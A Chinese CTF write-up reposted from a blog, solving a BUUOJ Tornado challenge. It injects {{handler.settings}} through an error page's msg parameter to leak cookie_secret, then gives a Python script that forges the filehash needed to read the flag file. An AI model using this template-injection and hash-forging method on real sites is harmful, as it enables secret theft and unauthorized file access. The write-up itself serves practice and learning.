轉自個人博客0pt1mus
首先我們打開網頁,發現三個鏈接。
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-mz52NAYV-1585041447461)(/Users/optimus/Library/Application Support/typora-user-images/image-20200324165348081.png)]
點擊第一個flag.txt,打開提示我們:
我們觀察url:
http://947550d2-7b15-4f02-9d52-3deb2ec447a9.node3.buuoj.cn/file?filename=/flag.txt&filehash=77e8b02dac1f3d976567bc691476bfcc
發現通過get傳遞兩個參數,一個filename
,一個filehash
。因此我們可以構造url,訪問flag的位置。
http://947550d2-7b15-4f02-9d52-3deb2ec447a9.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=77e8b02dac1f3d976567bc691476bfcc
訪問發現返回Error
。
因此查看另外兩個文件的信息。
發現render,判斷這是一個web框架的方法,而下面hints.txt的內容則告訴了我們上面url中的filehash是如何生成的。
現在我們不知道cookie_secret是多少,我們無論通過F12
,在network中查看,還是抓包分析,都沒有發現cookie_secret的值。
現在render這個信息還沒有用,那麼有沒有可能漏洞是出現在這個函數中吶。
我們通過百度題目名tornado
,發現這是一個python的web框架,堅信了問題是在這個框架上面。
百度tornado render漏洞
,發現render是通過傳遞的參數來確定返回的內容,而我們的報錯頁面正是通過參數來顯示的,因此我們可以利用它來返回tornado中的一些定義的對象。
http://947550d2-7b15-4f02-9d52-3deb2ec447a9.node3.buuoj.cn/error?msg={{handler.settings}}
返回信息中確定cookie_secret的值爲:
'cookie_secret': 'd27d0275-4f9b-45f6-b948-37f6b05c8d42'
現在我們可以編寫腳本,計算hash值:
# coding=utf-8
from hashlib import md5
cookie_secret = 'd27d0275-4f9b-45f6-b948-37f6b05c8d42'
file_name = '/fllllllllllllag'
file_hash = md5(cookie_secret + md5(file_name).hexdigest())
print(file_hash.hexdigest())
我們可以先將file_name
寫爲/file.txt
,執行獲得hash值,和原來url中的filehash
是否一樣,判斷腳本正確性。
執行腳本得到hash值:
a99916bbf8732bd409c33d161d751c90
構造url:
http://947550d2-7b15-4f02-9d52-3deb2ec447a9.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=a99916bbf8732bd409c33d161d751c90
訪問該url得到flag值。